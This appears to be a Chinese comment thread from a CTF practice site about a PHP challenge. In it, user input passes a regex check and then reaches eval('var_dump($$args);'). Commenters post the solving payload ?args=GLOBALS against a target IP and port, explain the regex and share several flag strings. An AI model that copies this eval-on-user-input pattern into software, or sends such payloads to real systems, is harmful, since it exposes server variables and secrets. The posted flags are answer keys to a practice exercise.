if(!preg_match("/^\w+$/",$args)){ // 正则表达式的意思是匹配任意 [A-Za-z0-9_] 的字符,就是任意大小写字母和0到9以及下划线组成 die("args error!"); } eval("var_dump($$args);
http://114.67.175.224:18582/?args=GLOBALS flag{60729e319d957a46aa93c8297eea6108}
/?args=_SERVER
使用?args=GLOBALS以字典类型返回当前位置的全部全局变量。 得到flag{c94e74f9465ed5564d0f1047b3da021c}
@asd+1024 GLOBAL会被正则表达式匹配,但是正则匹配前面还有"!",取反了,所以if不执行
@LP_joker + 表示匹配前面的模式一次或多次,并不是加上数字
@asd+1024 ^\w+$表示匹配“大小写字母+数字” GLOSBALS只有字母
可是,为什么GLOBAL不会被正则表达式匹配啊,大佬能讲讲吗
/?args=GLOBALS
?args=GLOBALS即可得到flag
了解 preg_match()函数,预变量GLOBALS。让参数args=GLOBALS就可以得到flag
flag{ea4e336dbeb0a5cf5400ee29f2ca93fc}
靶机地址+?args=GLOBALS即可得到flag
当args参数为GLOBALS时,满足正则表达式要求,eval语句将被执行
...
评论
3166235571 9月前
举报
if(!preg_match("/^\w+$/",$args)){ // 正则表达式的意思是匹配任意 [A-Za-z0-9_] 的字符,就是任意大小写字母和0到9以及下划线组成 die("args error!"); } eval("var_dump($$args);
哥哥 1年前
举报
http://114.67.175.224:18582/?args=GLOBALS flag{60729e319d957a46aa93c8297eea6108}
EtHat 1年前
举报
/?args=_SERVER
鸡你太美 1年前
举报
使用?args=GLOBALS以字典类型返回当前位置的全部全局变量。 得到flag{c94e74f9465ed5564d0f1047b3da021c}
jamin 7月前
举报
@asd+1024 GLOBAL会被正则表达式匹配,但是正则匹配前面还有"!",取反了,所以if不执行
ts4win 8月前
举报
@LP_joker + 表示匹配前面的模式一次或多次,并不是加上数字
LP_joker 9月前
举报
@asd+1024 ^\w+$表示匹配“大小写字母+数字” GLOSBALS只有字母
asd+1024 9月前
举报
可是,为什么GLOBAL不会被正则表达式匹配啊,大佬能讲讲吗
coo1an 1年前
举报
/?args=GLOBALS
大哥大 1年前
举报
?args=GLOBALS即可得到flag
chushou 1年前
举报
了解 preg_match()函数,预变量GLOBALS。让参数args=GLOBALS就可以得到flag
movieatravelover 1年前
举报
flag{ea4e336dbeb0a5cf5400ee29f2ca93fc}
107zsm 1年前
举报
靶机地址+?args=GLOBALS即可得到flag
shiqinannan 1年前
举报
当args参数为GLOBALS时,满足正则表达式要求,eval语句将被执行